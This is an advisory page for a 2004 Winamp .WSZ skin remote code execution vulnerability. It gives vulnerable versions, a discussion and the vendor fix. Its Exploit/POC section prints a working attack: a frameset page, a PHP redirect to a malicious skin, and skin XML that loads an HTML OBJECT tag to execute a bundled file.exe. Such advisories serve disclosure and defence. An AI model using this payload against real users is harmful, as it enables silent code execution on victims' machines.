NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

BID:11053

Info

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

Bugtraq ID: 11053
Class: Unknown
CVE:
Remote: Yes
Local: No
Published: Aug 26 2004 12:00AM
Updated: Aug 26 2004 12:00AM
Credit: An exploit for this issue was found in the wild, it is unknown who initially discovered the vulnerability.
Vulnerable: NullSoft Winamp 5.0 4
NullSoft Winamp 5.0 3
NullSoft Winamp 5.0 2
NullSoft Winamp 5.0 1
NullSoft Winamp 3.1
NullSoft Winamp 3.0
NullSoft Winamp 2.91
NullSoft Winamp 2.81
NullSoft Winamp 2.80
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0 SP6a
- Microsoft Windows NT Enterprise Server 4.0 SP6
- Microsoft Windows NT Enterprise Server 4.0 SP5
- Microsoft Windows NT Enterprise Server 4.0 SP4
- Microsoft Windows NT Enterprise Server 4.0 SP3
- Microsoft Windows NT Enterprise Server 4.0 SP2
- Microsoft Windows NT Enterprise Server 4.0 SP1
- Microsoft Windows NT Enterprise Server 4.0
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6
- Microsoft Windows NT Server 4.0 SP5
- Microsoft Windows NT Server 4.0 SP4
- Microsoft Windows NT Server 4.0 SP3
- Microsoft Windows NT Server 4.0 SP2
- Microsoft Windows NT Server 4.0 SP1
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
NullSoft Winamp 2.79
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
NullSoft Winamp 2.78
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
NullSoft Winamp 2.77
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
NullSoft Winamp 2.76
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
NullSoft Winamp 2.75
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
NullSoft Winamp 2.74
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.73 (full)
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.73
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
NullSoft Winamp 2.72
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.71
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.70 (full)
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.70
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows XP Home
NullSoft Winamp 2.65
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.64 (standard)
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.62 (standard)
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.61 (full)
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.60 (lite)
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.60 (full)
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.50
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.24
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.10
NullSoft Winamp 2.6 4
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0
NullSoft Winamp 2.5 E
NullSoft Winamp 2.5 e
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
NullSoft Winamp 2.4
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows ME
- Microsoft Windows NT 3.5.1
- Microsoft Windows NT 4.0
Not Vulnerable: NullSoft Winamp 5.0 5

Discussion

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.

This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.

This vulnerability is reported to affect all versions of Winamp up to and including 5.04.

Exploit / POC

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

This issue is known to be exploited in the wild.

The following exploit example is available:

index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>

Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?>

foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml


/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>


/xml/includes.xml
-------------------
<include file="player.xml"/>


/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>


/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>


/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>[email protected]</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>

<include file="xml/includes.xml"/>
<!--
-->
</WinampAbstractionLayer>

Solution / Fix

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

Solution:
The vendor has released an upgrade dealing with this issue. This issue has been dealt with by prompting a user prior to installing any skins as well as extracting skin files that are low risk. Please see the referenced web advisory for more information.


NullSoft Winamp 2.10

NullSoft Winamp 2.24

NullSoft Winamp 2.4

NullSoft Winamp 2.5 E

NullSoft Winamp 2.5 e

NullSoft Winamp 2.50

NullSoft Winamp 2.6 4

NullSoft Winamp 2.60 (full)

NullSoft Winamp 2.60 (lite)

NullSoft Winamp 2.61 (full)

NullSoft Winamp 2.62 (standard)

NullSoft Winamp 2.64 (standard)

NullSoft Winamp 2.65

NullSoft Winamp 2.70

NullSoft Winamp 2.70 (full)

NullSoft Winamp 2.71

NullSoft Winamp 2.72

NullSoft Winamp 2.73

NullSoft Winamp 2.73 (full)

NullSoft Winamp 2.74

NullSoft Winamp 2.75

NullSoft Winamp 2.76

NullSoft Winamp 2.77

NullSoft Winamp 2.78

NullSoft Winamp 2.79

NullSoft Winamp 2.80

NullSoft Winamp 2.81

NullSoft Winamp 2.91

NullSoft Winamp 3.0

NullSoft Winamp 3.1

NullSoft Winamp 5.0 2

NullSoft Winamp 5.0 3

NullSoft Winamp 5.0 4

NullSoft Winamp 5.0 1

References

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

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